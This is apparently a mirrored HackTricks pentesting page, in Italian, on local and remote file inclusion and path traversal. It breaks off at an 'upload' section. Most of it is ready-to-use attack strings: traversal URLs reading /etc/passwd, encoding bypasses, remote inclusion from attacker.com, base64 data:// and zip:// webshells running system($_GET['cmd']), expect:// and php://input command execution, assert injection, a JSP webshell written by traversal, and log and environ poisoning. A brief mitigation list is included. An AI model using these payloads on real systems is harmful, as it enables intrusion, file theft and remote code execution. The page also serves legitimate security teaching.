mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
682 lines
37 KiB
Markdown
682 lines
37 KiB
Markdown
# File Inclusion/Path traversal
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## File Inclusion
|
||
|
||
**Remote File Inclusion (RFI):** Il file viene caricato da un server remoto (Ideale: puoi scrivere il codice e il server lo eseguirà). In php questo è **disabilitato** di default (**allow_url_include**).\
|
||
**Local File Inclusion (LFI):** Il server carica un file locale.
|
||
|
||
La vulnerabilità si verifica quando l'utente può controllare in qualche modo il file che verrà caricato dal server.
|
||
|
||
Funzioni **PHP** vulnerabili: require, require_once, include, include_once
|
||
|
||
Uno strumento interessante per sfruttare questa vulnerabilità: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||
|
||
## Blind - Interesting - LFI2RCE files
|
||
```python
|
||
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
|
||
```
|
||
### **Linux**
|
||
|
||
**Mescolando diverse \*nix liste LFI e aggiungendo altri percorsi ho creato questa:**
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||
{{#endref}}
|
||
|
||
Prova anche a cambiare `/` con `\`\
|
||
Prova anche ad aggiungere `../../../../../`
|
||
|
||
Una lista che usa diverse tecniche per trovare il file /etc/password (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||
|
||
### **Windows**
|
||
|
||
Unione di diverse wordlists:
|
||
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||
{{#endref}}
|
||
|
||
Prova anche a cambiare `/` con `\`\
|
||
Prova anche a rimuovere `C:/` e aggiungere `../../../../../`
|
||
|
||
Una lista che usa diverse tecniche per trovare il file /boot.ini (per verificare se la vulnerabilità esiste) può essere trovata [qui](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||
|
||
### **OS X**
|
||
|
||
Controlla la lista LFI di linux.
|
||
|
||
## LFI di base e bypass
|
||
|
||
Tutti gli esempi sono per Local File Inclusion ma possono essere applicati anche a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
|
||
```
|
||
http://example.com/index.php?page=../../../etc/passwd
|
||
```
|
||
### sequenze traversal rimosse non ricorsivamente
|
||
```python
|
||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||
```
|
||
### **Null byte (%00)**
|
||
|
||
Bypassare l'aggiunta di altri caratteri alla fine della stringa fornita (bypass di: $\_GET\['param']."php")
|
||
```
|
||
http://example.com/index.php?page=../../../etc/passwd%00
|
||
```
|
||
Questo è **risolto a partire da PHP 5.4**
|
||
|
||
### **Codifica**
|
||
|
||
Puoi usare codifiche non standard come doppio URL encode (e altre):
|
||
```
|
||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||
```
|
||
### Dalla cartella esistente
|
||
|
||
Forse il back-end sta controllando il percorso della cartella:
|
||
```python
|
||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||
```
|
||
### Esplorare le directory del file system su un server
|
||
|
||
Il file system di un server può essere esplorato ricorsivamente per individuare directory, non solo file, usando determinate tecniche. Il processo prevede la determinazione della profondità delle directory e la verifica dell'esistenza di cartelle specifiche. Di seguito un metodo dettagliato per farlo:
|
||
|
||
1. **Determinare la profondità delle directory:** Accerta la profondità della directory corrente recuperando con successo il file `/etc/passwd` (applicabile se il server è basato su Linux). Un esempio di URL potrebbe essere strutturato come segue, indicando una profondità di tre:
|
||
```bash
|
||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||
```
|
||
2. **Probe for Folders:** Aggiungi il nome della cartella sospetta (ad es., `private`) all'URL, quindi torna a navigare verso `/etc/passwd`. Il livello di directory aggiuntivo richiede di incrementare la profondità di uno:
|
||
```bash
|
||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||
```
|
||
3. **Interpretare i risultati:** La risposta del server indica se la cartella esiste:
|
||
- **Errore / Nessun output:** La cartella `private` probabilmente non esiste nella posizione specificata.
|
||
- **Contenuto di `/etc/passwd`:** La presenza della cartella `private` è confermata.
|
||
4. **Esplorazione ricorsiva:** Le cartelle scoperte possono essere ulteriormente esplorate per sottodirectory o file usando la stessa tecnica o i tradizionali metodi di Local File Inclusion (LFI).
|
||
|
||
Per esplorare directory in posizioni diverse del file system, regola il payload di conseguenza. Ad esempio, per verificare se `/var/www/` contiene una directory `private` (assumendo che la directory corrente sia a una profondità di 3), usa:
|
||
```bash
|
||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||
```
|
||
### **Path Truncation Technique**
|
||
|
||
Path truncation è un metodo impiegato per manipolare i percorsi dei file nelle applicazioni web. Viene spesso usato per accedere a file restritti bypassando certe misure di sicurezza che aggiungono caratteri extra alla fine dei percorsi dei file. L'obiettivo è costruire un percorso file che, una volta alterato dalla misura di sicurezza, punti comunque al file desiderato.
|
||
|
||
In PHP, diverse rappresentazioni di un percorso file possono essere considerate equivalenti a causa della natura del file system. Per esempio:
|
||
|
||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` sono trattati tutti come lo stesso percorso.
|
||
- Quando gli ultimi 6 caratteri sono `passwd`, aggiungere una `/` (facendolo diventare `passwd/`) non cambia il file di destinazione.
|
||
- Allo stesso modo, se viene aggiunto `.php` a un percorso file (come `shellcode.php`), aggiungere `/.` alla fine non altera il file a cui si accede.
|
||
|
||
Gli esempi forniti mostrano come utilizzare path truncation per accedere a `/etc/passwd`, un bersaglio comune a causa del suo contenuto sensibile (informazioni sugli account utente):
|
||
```
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||
```
|
||
|
||
```
|
||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||
```
|
||
In questi scenari, il numero di traversals necessari potrebbe essere circa 2027, ma questo numero può variare in base alla configurazione del server.
|
||
|
||
- **Using Dot Segments and Additional Characters**: Le traversal sequences (`../`) combinate con segmenti puntati aggiuntivi e caratteri possono essere utilizzate per navigare il file system, ignorando effettivamente le stringhe aggiunte dal server.
|
||
- **Determining the Required Number of Traversals**: Tramite tentativi ed errori, si può trovare il numero preciso di `../` necessari per raggiungere la root e poi `/etc/passwd`, assicurando che eventuali stringhe aggiunte (come `.php`) vengano neutralizzate ma il path desiderato (`/etc/passwd`) rimanga intatto.
|
||
- **Starting with a Fake Directory**: È pratica comune iniziare il path con una directory inesistente (come `a/`). Questa tecnica viene usata come misura precauzionale o per soddisfare i requisiti della path parsing logic del server.
|
||
|
||
Quando si impiegano tecniche di path truncation, è cruciale comprendere il comportamento di path parsing del server e la struttura del filesystem. Ogni scenario potrebbe richiedere un approccio diverso, e spesso è necessario testare per trovare il metodo più efficace.
|
||
|
||
**This vulnerability was corrected in PHP 5.3.**
|
||
|
||
### **Filter bypass tricks**
|
||
```
|
||
http://example.com/index.php?page=....//....//etc/passwd
|
||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||
http://example.com/index.php?page=PhP://filter
|
||
```
|
||
## Remote File Inclusion
|
||
|
||
In php questo è disabilitato per impostazione predefinita perché **`allow_url_include`** è **Off.** Deve essere **On** perché funzioni, e in quel caso potresti includere un file PHP dal tuo server e ottenere RCE:
|
||
```python
|
||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||
```
|
||
Se per qualche motivo **`allow_url_include`** è **On**, ma PHP sta **filtrando** l'accesso a pagine web esterne, [secondo questo post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), puoi usare per esempio il data protocol con base64 per decodificare un codice PHP in b64 e ottenere RCE:
|
||
```
|
||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||
```
|
||
> [!TIP]
|
||
> Nel codice precedente, il finale `+.txt` è stato aggiunto perché l'attaccante aveva bisogno di una stringa che terminasse con `.txt`, quindi la stringa finisce con esso e dopo la decodifica b64 quella parte restituirà solo spazzatura e il vero codice PHP verrà incluso (e quindi eseguito).
|
||
|
||
Another example **not using the `php://` protocol** would be:
|
||
```
|
||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||
```
|
||
## Python elemento root
|
||
|
||
In Python, in un codice come il seguente:
|
||
```python
|
||
# file_name is controlled by a user
|
||
os.path.join(os.getcwd(), "public", file_name)
|
||
```
|
||
Se l'utente passa un **percorso assoluto** a **`file_name`**, il **percorso precedente viene semplicemente rimosso**:
|
||
```python
|
||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||
'/etc/passwd'
|
||
```
|
||
È il comportamento previsto secondo [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
|
||
|
||
> Se un componente è un percorso assoluto, tutti i componenti precedenti vengono scartati e l'unione continua dal componente del percorso assoluto.
|
||
|
||
## Java - Elenco directory
|
||
|
||
Sembra che se hai un Path Traversal in Java e **richiedi una directory** invece di un file, venga restituito **l'elenco della directory**. Questo non succede in altri linguaggi (per quanto ne so).
|
||
|
||
## Top 25 parametri
|
||
|
||
Ecco una lista dei 25 parametri principali che potrebbero essere vulnerabili a local file inclusion (LFI) vulnerabilities (da [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||
```
|
||
?cat={payload}
|
||
?dir={payload}
|
||
?action={payload}
|
||
?board={payload}
|
||
?date={payload}
|
||
?detail={payload}
|
||
?file={payload}
|
||
?download={payload}
|
||
?path={payload}
|
||
?folder={payload}
|
||
?prefix={payload}
|
||
?include={payload}
|
||
?page={payload}
|
||
?inc={payload}
|
||
?locate={payload}
|
||
?show={payload}
|
||
?doc={payload}
|
||
?site={payload}
|
||
?type={payload}
|
||
?view={payload}
|
||
?content={payload}
|
||
?document={payload}
|
||
?layout={payload}
|
||
?mod={payload}
|
||
?conf={payload}
|
||
```
|
||
## LFI / RFI using PHP wrappers & protocols
|
||
|
||
### php://filter
|
||
|
||
PHP filters permettono di eseguire operazioni di base di **modifica sui dati** prima che vengano letti o scritti. Ci sono 5 categorie di filtri:
|
||
|
||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||
- `string.rot13`
|
||
- `string.toupper`
|
||
- `string.tolower`
|
||
- `string.strip_tags`: Rimuove i tag dai dati (tutto ciò che si trova tra i caratteri "<" e ">")
|
||
- Nota che questo filtro è scomparso dalle versioni moderne di PHP
|
||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||
- `convert.base64-encode`
|
||
- `convert.base64-decode`
|
||
- `convert.quoted-printable-encode`
|
||
- `convert.quoted-printable-decode`
|
||
- `convert.iconv.*` : Trasforma in una codifica differente (`convert.iconv.<input_enc>.<output_enc>`). Per ottenere la **lista di tutte le codifiche** supportate esegui in console: `iconv -l`
|
||
|
||
> [!WARNING]
|
||
> Abusando del filtro di conversione `convert.iconv.*` puoi **generare testo arbitrario**, cosa che può essere utile per scrivere testo arbitrario o far sì che una funzione come include processi testo arbitrario. Per maggiori informazioni vedi [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||
|
||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||
- `zlib.deflate`: Comprimi il contenuto (utile se esfiltrando molte informazioni)
|
||
- `zlib.inflate`: Decomprimi i dati
|
||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||
- `mcrypt.*` : Deprecato
|
||
- `mdecrypt.*` : Deprecato
|
||
- Other Filters
|
||
- Eseguendo in php `var_dump(stream_get_filters());` puoi trovare un paio di **filtri inaspettati**:
|
||
- `consumed`
|
||
- `dechunk`: inverte l'encoding HTTP chunked
|
||
- `convert.*`
|
||
```php
|
||
# String Filters
|
||
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
|
||
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
|
||
## Same chain without the "|" char
|
||
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
|
||
## string.string_tags example
|
||
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
|
||
|
||
# Conversion filter
|
||
## B64 decode
|
||
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
|
||
## Chain B64 encode and decode
|
||
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
|
||
## convert.quoted-printable-encode example
|
||
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
|
||
=C2=A3hellooo=3D
|
||
## convert.iconv.utf-8.utf-16le
|
||
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
|
||
|
||
# Compresion Filter
|
||
## Compress + B64
|
||
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
|
||
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
|
||
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)
|
||
```
|
||
> [!WARNING]
|
||
> La parte "php://filter" non è case sensitive
|
||
|
||
### Usare php filters come oracle per leggere file arbitrari
|
||
|
||
[**In questo post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) viene proposta una tecnica per leggere un file locale senza ottenere l'output restituito dal server. Questa tecnica si basa su una **boolean exfiltration of the file (char by char) using php filters** come oracle. Questo perché i php filters possono essere usati per rendere un testo abbastanza grande da far scattare un'eccezione in php.
|
||
|
||
Nel post originale si trova una spiegazione dettagliata della tecnica, qui invece un riassunto veloce:
|
||
|
||
- Use the codec **`UCS-4LE`** to leave leading character of the text at the begging and make the size of string increases exponentially.
|
||
- Questo verrà usato per generare un **text so big when the initial letter is guessed correctly** che php scarterà con un **error**
|
||
- Il filter **dechunk** **rimuoverà tutto se il primo char non è un hexadecimal**, quindi possiamo sapere se il primo char è hex.
|
||
- Questo, combinato con il precedente (e altri filters a seconda della lettera indovinata), ci permetterà di indovinare una lettera all'inizio del testo osservando quando, applicando abbastanza trasformazioni, essa non è più un hexadecimal character. Perché se è hex, dechunk non la cancellerà e la bomba iniziale farà scattare l'error di php.
|
||
- Il codec **convert.iconv.UNICODE.CP930** trasforma ogni lettera nella successiva (quindi dopo questo codec: a -> b). Questo ci permette di scoprire se la prima lettera è una `a`, per esempio, perché se applichiamo 6 volte questo codec a->b->c->d->e->f->g la lettera non è più un carattere hexadecimal, quindi dechunk non la elimina e l'error php viene triggerato perché si moltiplica con la bomba iniziale.
|
||
- Usando altre trasformazioni come **rot13** all'inizio è possibile leakare altri caratteri come n, o, p, q, r (e altri codec possono essere usati per spostare altre lettere nell'intervallo hex).
|
||
- Quando il carattere iniziale è un numero è necessario codificarlo in base64 e leakare le prime 2 lettere per leakare il numero.
|
||
- Il problema finale è capire **how to leak more than the initial letter**. Usando order memory filters come **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** è possibile cambiare l'ordine dei chars e portare in prima posizione altre lettere del testo.
|
||
- E per poter ottenere **further data** l'idea è **generare 2 bytes of junk data at the beginning** con **convert.iconv.UTF16.UTF16**, applicare **UCS-4LE** per farli **pivot with the next 2 bytes**, e d**elete the data until the junk data** (questo rimuoverà i primi 2 bytes del testo iniziale). Continuare così fino a raggiungere il bit desiderato da leakare.
|
||
|
||
Nel post è stato anche pubblicato uno strumento per eseguire questo automaticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||
|
||
### php://fd
|
||
|
||
Questo wrapper permette di accedere ai file descriptors che il processo ha aperti. Potenzialmente utile per exfiltrate il contenuto di file aperti:
|
||
```php
|
||
echo file_get_contents("php://fd/3");
|
||
$myfile = fopen("/etc/passwd", "r");
|
||
```
|
||
Puoi anche usare **php://stdin, php://stdout e php://stderr** per accedere ai **descrittori di file 0, 1 e 2** rispettivamente (non sono sicuro di come questo possa essere utile in un attacco)
|
||
|
||
### zip:// and rar://
|
||
|
||
Carica un file Zip o Rar con una PHPShell all'interno e accedervi.\
|
||
Per poter sfruttare il protocollo rar, esso **deve essere specificamente attivato**.
|
||
```bash
|
||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||
zip payload.zip payload.php;
|
||
mv payload.zip shell.jpg;
|
||
rm payload.php
|
||
|
||
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
||
|
||
# To compress with rar
|
||
rar a payload.rar payload.php;
|
||
mv payload.rar shell.jpg;
|
||
rm payload.php
|
||
http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
||
```
|
||
### data://
|
||
```
|
||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||
```
|
||
Nota che questo protocollo è limitato dalle configurazioni PHP **`allow_url_open`** e **`allow_url_include`**
|
||
|
||
### expect://
|
||
|
||
Expect deve essere attivato. Puoi eseguire codice usando questo:
|
||
```
|
||
http://example.com/index.php?page=expect://id
|
||
http://example.com/index.php?page=expect://ls
|
||
```
|
||
### input://
|
||
|
||
Specifica il tuo payload nei parametri POST:
|
||
```bash
|
||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||
```
|
||
### phar://
|
||
|
||
Un file `.phar` può essere utilizzato per eseguire codice PHP quando un'applicazione web usa funzioni come `include` per il caricamento di file. Lo snippet di codice PHP riportato sotto dimostra la creazione di un file `.phar`:
|
||
```php
|
||
<?php
|
||
$phar = new Phar('test.phar');
|
||
$phar->startBuffering();
|
||
$phar->addFromString('test.txt', 'text');
|
||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||
$phar->stopBuffering();
|
||
```
|
||
Per compilare il file `.phar`, eseguire il seguente comando:
|
||
```bash
|
||
php --define phar.readonly=0 create_path.php
|
||
```
|
||
Alla sua esecuzione, verrà creato un file chiamato `test.phar`, che potrebbe essere utilizzato per sfruttare vulnerabilità di Local File Inclusion (LFI).
|
||
|
||
Nei casi in cui la LFI effettua solo la lettura dei file senza eseguire il codice PHP al loro interno, tramite funzioni come `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, o `filesize()`, è possibile tentare lo sfruttamento di una vulnerabilità di deserializzazione. Questa vulnerabilità è associata alla lettura di file usando il protocollo `phar`.
|
||
|
||
Per una comprensione dettagliata dello sfruttamento di vulnerabilità di deserializzazione nel contesto dei file `.phar`, consultare il documento collegato qui sotto:
|
||
|
||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||
|
||
|
||
{{#ref}}
|
||
phar-deserialization.md
|
||
{{#endref}}
|
||
|
||
### CVE-2024-2961
|
||
|
||
È stato possibile sfruttare **qualsiasi lettura di file arbitraria da PHP che supporta php filters** per ottenere una RCE. La descrizione dettagliata può essere [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||
Breve riassunto: un **overflow di 3 byte** nell'heap di PHP è stato sfruttato per **alterare la catena dei chunk liberi** di una specifica dimensione al fine di poter **scrivere qualsiasi cosa in qualsiasi indirizzo**, quindi è stato aggiunto un hook per chiamare **`system`**.\
|
||
È stato possibile allocare chunk di dimensioni specifiche abusando di ulteriori php filters.
|
||
|
||
### More protocols
|
||
|
||
Consulta altri possibili[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||
|
||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Scrive in memoria o in un file temporaneo (non sono sicuro di come questo possa essere utile in un file inclusion attack)
|
||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accesso al filesystem locale
|
||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accesso a URL HTTP(s)
|
||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accesso a URL FTP(s)
|
||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Stream di compressione
|
||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trova pathname corrispondenti al pattern (Non restituisce nulla di stampabile, quindi non è molto utile qui)
|
||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Stream audio (Non utile per leggere file arbitrari)
|
||
|
||
## LFI via PHP's 'assert'
|
||
|
||
I rischi di Local File Inclusion (LFI) in PHP sono particolarmente elevati quando si ha a che fare con la funzione 'assert', che può eseguire codice presente in stringhe. Questo è particolarmente problematico se l'input che contiene caratteri di directory traversal come ".." viene controllato ma non correttamente sanitizzato.
|
||
|
||
Ad esempio, del codice PHP potrebbe essere progettato per prevenire il directory traversal in questo modo:
|
||
```bash
|
||
assert("strpos('$file', '..') === false") or die("");
|
||
```
|
||
Sebbene ciò miri a impedire la traversal, crea involontariamente un vettore per code injection. Per sfruttarlo per leggere il contenuto dei file, un attaccante potrebbe usare:
|
||
```plaintext
|
||
' and die(highlight_file('/etc/passwd')) or '
|
||
```
|
||
Allo stesso modo, per eseguire comandi di sistema arbitrari, si potrebbe usare:
|
||
```plaintext
|
||
' and die(system("id")) or '
|
||
```
|
||
È importante **URL-encode these payloads**.
|
||
|
||
## PHP Blind Path Traversal
|
||
|
||
> [!WARNING]
|
||
> Questa tecnica è rilevante nei casi in cui tu **controlli** il **percorso del file** di una **funzione PHP** che **accéderà a un file** ma non vedrai il contenuto del file (come una semplice chiamata a **`file()`**) perché il contenuto non viene mostrato.
|
||
|
||
In [**questo incredibile post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) viene spiegato come un blind path traversal possa essere abusato via PHP filter per **exfiltrate the content of a file via an error oracle**.
|
||
|
||
In sintesi, la tecnica utilizza la **codifica "UCS-4LE"** per rendere il contenuto di un file così **grande** che la **funzione PHP che apre** il file innescherà un **errore**.
|
||
|
||
Poi, per leak del primo char viene utilizzato il filtro **`dechunk`** insieme ad altri come **base64** o **rot13**, e infine i filtri **convert.iconv.UCS-4.UCS-4LE** e **convert.iconv.UTF16.UTF-16BE** vengono usati per **place other chars at the beggining and leak them**.
|
||
|
||
**Funzioni che potrebbero essere vulnerabili**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||
|
||
Per i dettagli tecnici controlla il post menzionato!
|
||
|
||
## LFI2RCE
|
||
|
||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||
|
||
Quando il codice server-side che riceve/carica file costruisce il percorso di destinazione usando dati controllati dall'utente (es., un filename o URL) senza canonicalizzare e validare, i segmenti `..` e i percorsi assoluti possono uscire dalla directory prevista e causare una scrittura arbitraria di file. Se puoi posizionare il payload in una directory esposta dal web, di solito ottieni RCE non autenticata inserendo una webshell.
|
||
|
||
Workflow tipico di sfruttamento:
|
||
- Identifica una primitive di scrittura in un endpoint o background worker che accetta un path/filename e scrive contenuto su disco (es., message-driven ingestion, XML/JSON command handlers, ZIP extractors, ecc.).
|
||
- Determina le directory esposte al web. Esempi comuni:
|
||
- Apache/PHP: `/var/www/html/`
|
||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||
- Crea un percorso di traversal che esca dalla directory di storage prevista verso il webroot, e includi il contenuto della tua webshell.
|
||
- Naviga fino al payload droppato ed esegui comandi.
|
||
|
||
Note:
|
||
- Il servizio vulnerabile che esegue la scrittura può ascoltare su una porta non-HTTP (es., un JMF XML listener su TCP 4004). Il portale web principale (porta diversa) servirà poi il tuo payload.
|
||
- Negli stack Java, queste scritture di file sono spesso implementate con semplici concatenazioni `File`/`Paths`. La mancanza di canonicalizzazione/allow-listing è il difetto principale.
|
||
|
||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<JMF SenderID="hacktricks" Version="1.3">
|
||
<Command Type="SubmitQueueEntry">
|
||
<!-- Write outside the intake folder into the webroot via traversal -->
|
||
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
|
||
<Data>
|
||
<![CDATA[
|
||
<%@ page import="java.io.*" %>
|
||
<%
|
||
String c = request.getParameter("cmd");
|
||
if (c != null) {
|
||
Process p = Runtime.getRuntime().exec(c);
|
||
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
|
||
in.transferTo(out);
|
||
}
|
||
}
|
||
%>
|
||
]]>
|
||
</Data>
|
||
</Command>
|
||
</JMF>
|
||
```
|
||
Mitigazioni che contrastano questa classe di bug:
|
||
- Risolvere a un percorso canonico e garantire che sia un discendente di una directory base allow-listed.
|
||
- Rifiutare qualsiasi percorso contenente `..`, root assoluti, o lettere di drive; preferire nomi di file generati.
|
||
- Eseguire il writer con un account a basso privilegio e segregare le directory di scrittura dalle root servite.
|
||
|
||
## Remote File Inclusion
|
||
|
||
Spiegato in precedenza, [**follow this link**](#remote-file-inclusion).
|
||
|
||
### Via Apache/Nginx log file
|
||
|
||
Se il server Apache o Nginx è **vulnerabile a LFI** all'interno della funzione include puoi provare ad accedere a **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, inserire nel **user agent** o in un **GET parameter** una php shell come **`<?php system($_GET['c']); ?>`** e includere quel file
|
||
|
||
> [!WARNING]
|
||
> Nota che **se usi doppi apici** per la shell invece di **virgolette semplici**, i doppi apici saranno modificati nella stringa "_**quote;**_", **PHP genererà un errore** lì e **niente verrà eseguito**.
|
||
>
|
||
> Inoltre, assicurati di **scrivere correttamente il payload** o PHP genera un errore ogni volta che prova a caricare il file di log e non avrai una seconda opportunità.
|
||
|
||
Questo può essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'header **authorisation "basic"** contiene "user:password" in Base64 ed è decodificato all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questo header.\
|
||
Altri possibili percorsi di log:
|
||
```python
|
||
/var/log/apache2/access.log
|
||
/var/log/apache/access.log
|
||
/var/log/apache2/error.log
|
||
/var/log/apache/error.log
|
||
/usr/local/apache/log/error_log
|
||
/usr/local/apache2/log/error_log
|
||
/var/log/nginx/access.log
|
||
/var/log/nginx/error.log
|
||
/var/log/httpd/error_log
|
||
```
|
||
Wordlist per Fuzzing: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||
|
||
### Via Email
|
||
|
||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere la mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||
|
||
### Via /proc/\*/fd/\*
|
||
|
||
1. Carica molte shells (per esempio : 100)
|
||
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere brute forced) e $FD il file descriptor (anche questo può essere brute forced)
|
||
|
||
### Via /proc/self/environ
|
||
|
||
Come un file di log, invia il payload nello User-Agent, verrà riflesso nel file /proc/self/environ
|
||
```
|
||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||
User-Agent: <?=phpinfo(); ?>
|
||
```
|
||
### Via upload
|
||
|
||
